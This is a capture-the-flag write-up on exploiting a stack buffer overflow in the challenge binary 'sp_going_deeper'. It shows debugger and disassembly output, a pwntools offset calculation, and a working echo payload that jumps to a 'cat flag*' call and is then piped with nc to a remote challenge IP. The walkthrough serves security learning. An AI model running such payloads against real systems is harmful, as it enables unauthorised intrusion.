Let's use strings to examine the binary. The interesting bit is below, alluding to a function that cats our flag:
strings sp_going_deeper
%s[+] Welcome admin! The secret message is:
cat flag*
%s[-] Authentication failed!
[!] For security reasons, you are logged out..
;*3$"
checksec --file=sp_going_deeper
βββ(rootπkali)-[~/Downloads/CTF/challenge]
ββ# checksec --file=sp_going_deeper
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH RW-RUNPATH 77) Symbols No 0 2 sp_going_deeper
checksec
tells us a lot about the security settings of the binary. No canary means buffer overflow likely possible and no PIE hints at a vulnerable binary. PIE binarys (Position Independent Executables) are loaded into random locations within virtual memory each time the application is executed. This makes Return Oriented Programming (ROP) attacks much more difficult to execute reliably.
Let's run the program. Inputing a string of A's reveals it is vuln to a buffer overflow. Note the segmentation fault at the end:
./sp_going_deeper
[*] Safety mechanisms are enabled!
[*] Values are set to: a = [1], b = [2], c = [3].
[*] If you want to continue, disable the mechanism or login as admin.
1. Disable mechanisms βοΈ
2. Login β
3. Exit π
>> 1
[*] Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-] Authentication failed!
[!] For security reasons, you are logged out..
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
zsh: segmentation fault ./sp_going_deeper
Let's use cyclic
from pwntools to generate a pattern for our BO payload: The 1\n
will select option 1 of the menu and hit enter for us when we run the program:
echo -en "1\n$(cyclic 1024)" > payload
βββ(rootπkali)-[~/Downloads/CTF/challenge]
ββ# cat payload
1
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
Now lets use gdb
to look under the hood further:
βββ(rootπkali)-[~/CTF/GoingDeeper/challenge]
ββ# gdb ./sp_going_deeper
GNU gdb (Debian 10.1-2) 10.1.90.20210103-git
This GDB was configured as "x86_64-linux-gnu".
Reading symbols from ./sp_going_deeper...
(No debugging symbols found in ./sp_going_deeper)
(gdb) source /opt/gef.py
GEF for linux ready, type `gef' to start, `gef config' to configure
96 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
gefβ€ r < payload
Starting program: /root/CTF/GoingDeeper/challenge/sp_going_deeper < payload
Trying to leak information from the pc.. π₯οΈ
____________________________________________________
/ \
| _____________________________________________ |
| | | |
| | goldenfang@d12:$ history | |
| | 1 ls | |
| | 2 mv secret_pass.txt flag.txt | |
| | 3 chmod -x missile_launcher.py | |
| | 4 ls | |
| | 5 history | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| |_____________________________________________| |
| |
\_____________________________________________________/
\_______________________________________/
_______________________________________________
_-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_
_-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
_-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
_-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
_-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'
[*] Safety mechanisms are enabled!
[*] Values are set to: a = [1], b = [2], c = [3].
[*] If you want to continue, disable the mechanism or login as admin.
1. Disable mechanisms βοΈ
2. Login β
3. Exit π
>>
[*] Input:
[-] Authentication failed!
[!] For security reasons, you are logged out..
Program received signal SIGILL, Illegal instruction.
0x0000000000400b63 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x31
$rbx : 0x0
$rcx : 0x007ffff7af2104 β 0x5477fffff0003d48 ("H="?)
$rdx : 0x007ffff7dcf8c0 β 0x0000000000000000
$rsp : 0x007fffffffddf0 β 0x00000000400ba0 β <__libc_csu_init+0> push r15
$rbp : 0x7661616175616161 ("aaauaaav"?)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, Name: "sp_going_deeper", stopped 0x400b63 in main (), reason: SIGILL
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
So we see the overflow spilled into the $rbp
register represented as ("aaauaaav"?)
cyclic
shows our buffer overflowed at 81 bytes, so add 4 more to get to the end of the register, makes 85
βββ(rootπkali)-[~/Downloads/CTF/challenge]
ββ# cyclic -l aaav
81
Let's use r2
to get the address we need to point our payload to:
βββ(rootπkali)-[~/CTF/GoingDeeper/challenge]
ββ# r2 sp_going_deeper
[0x004007a0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
[0x004007a0]> afl
0x004007a0 1 42 entry0
0x004007e0 4 42 -> 37 sym.deregister_tm_clones
0x00400810 4 58 -> 55 sym.register_tm_clones
0x00400850 3 34 -> 29 sym.__do_global_dtors_aux
0x00400880 1 7 entry.init0
0x00400c10 1 2 sym.__libc_csu_fini
0x00400c14 1 9 sym._fini
0x004009e9 18 350 sym.admin_panel
0x004008dd 1 191 sym.banner
0x00400750 1 6 sym.imp.time
0x00400740 1 6 sym.imp.srand
0x00400790 1 6 sym.imp.rand
0x004006f0 1 6 sym.imp.puts
0x00400ba0 4 101 sym.__libc_csu_init
0x004007d0 1 2 sym._dl_relocate_static_pie
0x00400b47 1 84 main
--------------snip-------------------
The aaaa
command does a full analysis, afl
lists all functions. pdf
(print disassembly of function) gives even more detail. Let's look deeper at main
[0x004007a0]> pdf@main
; DATA XREF from entry0 @ 0x4007bd
β 84: int main (int argc, char **argv, char **envp);
β ; var int64_t var_18h @ rbp-0x18
β ; var int64_t var_10h @ rbp-0x10
β ; var int64_t var_8h @ rbp-0x8
β 0x00400b47 55 push rbp
β 0x00400b48 4889e5 mov rbp, rsp
β 0x00400b4b 4883ec20 sub rsp, 0x20
β 0x00400b4f e848feffff call sym.setup
β 0x00400b54 e884fdffff call sym.banner
β 0x00400b59 488d3de80000. lea rdi, str.e_1_34m ; 0x400c48 ; const char *s
β 0x00400b60 e88bfbffff call sym.imp.puts ; int puts(const char *s)
β 0x00400b65 48c745f80100. mov qword [var_8h], 1
β 0x00400b6d 48c745f00200. mov qword [var_10h], 2
β 0x00400b75 48c745e80300. mov qword [var_18h], 3
β 0x00400b7d 488b55e8 mov rdx, qword [var_18h]
β 0x00400b81 488b4df0 mov rcx, qword [var_10h]
β 0x00400b85 488b45f8 mov rax, qword [var_8h]
β 0x00400b89 4889ce mov rsi, rcx
β 0x00400b8c 4889c7 mov rdi, rax
β 0x00400b8f e855feffff call sym.admin_panel
The sym.admin_panel looks interesting- let's go deeper:
[0x004007a0]> pdf@sym.admin_panel
; CALL XREF from main @ 0x400b8f
β 350: sym.admin_panel (uint32_t arg1, uint32_t arg2, uint32_t arg3);
β ; var uint32_t var_48h @ rbp-0x48
β ; var uint32_t var_40h @ rbp-0x40
β ; var uint32_t var_38h @ rbp-0x38
β ; var char *buf @ rbp-0x30
β ; var uint32_t var_8h @ rbp-0x8
β ; arg uint32_t arg1 @ rdi
β ; arg uint32_t arg2 @ rsi
β ; arg uint32_t arg3 @ rdx
--------snip---------
β 0x00400b01 488d3d880a00. lea rdi, str._n_s___Welcome_admin__The_secret_message_is:_ ; 0x401590 ; "\n%s[+] Welcome admin! The secret message is: " ; const char *format
β β 0x00400b08 b800000000 mov eax, 0
β β 0x00400b0d e8fefbffff call sym.imp.printf ; int printf(const char *format)
β β 0x00400b12 488d3da50a00. lea rdi, str.cat_flag ; 0x4015be ; "cat flag*" ; const char *string
This section is the juicy part. It tells us the exact location address 0x00400b12
to point our payload. If we can get the program to crash right here, it should execute the cat flag*
command and output the flag file.
Using our BO offset of 85 bytes and the address of our cat command, putting it in Little-Endian format, we construct the following payload2.
A quick note on Little-Endian format. Take the address 0x00400b12
. Strip the last 3 hex numbers from it, then place them in reverse order, inserting '\x' before each one:
echo -en "1\n$(cyclic 85)\x12\x0B\x40" > payload2
(gdb) r < payload2
Starting program: /root/Downloads/CTF/challenge/sp_going_deeper < payload2
1. Disable mechanisms βοΈ
2. Login β
3. Exit π
>>
[*] Input:
[-] Authentication failed!
[!] For security reasons, you are logged out..
[Detaching after fork from child process 412836]
HTB{f4k3_fl4g_4_t35t1ng}
[!] For security reasons, you are logged out..
Thread 1 "sp_going_deeper" received signal SIGSEGV, Segmentation fault.
0x0000ffffe80aeed0 in ?? ()
And it works! The test flag prints out. Now to take this exploit remotely we just point it to our target like this:
echo -en "1\n$(cyclic 85)\x12\x0B\x40" | nc 188.166.172.138 30681
Credit: Big shoutout to hag, whose writeup really filled in some gaps and also inspired me to create my first project in markdown format using VS Code and Github. https://github.com/hagronnestad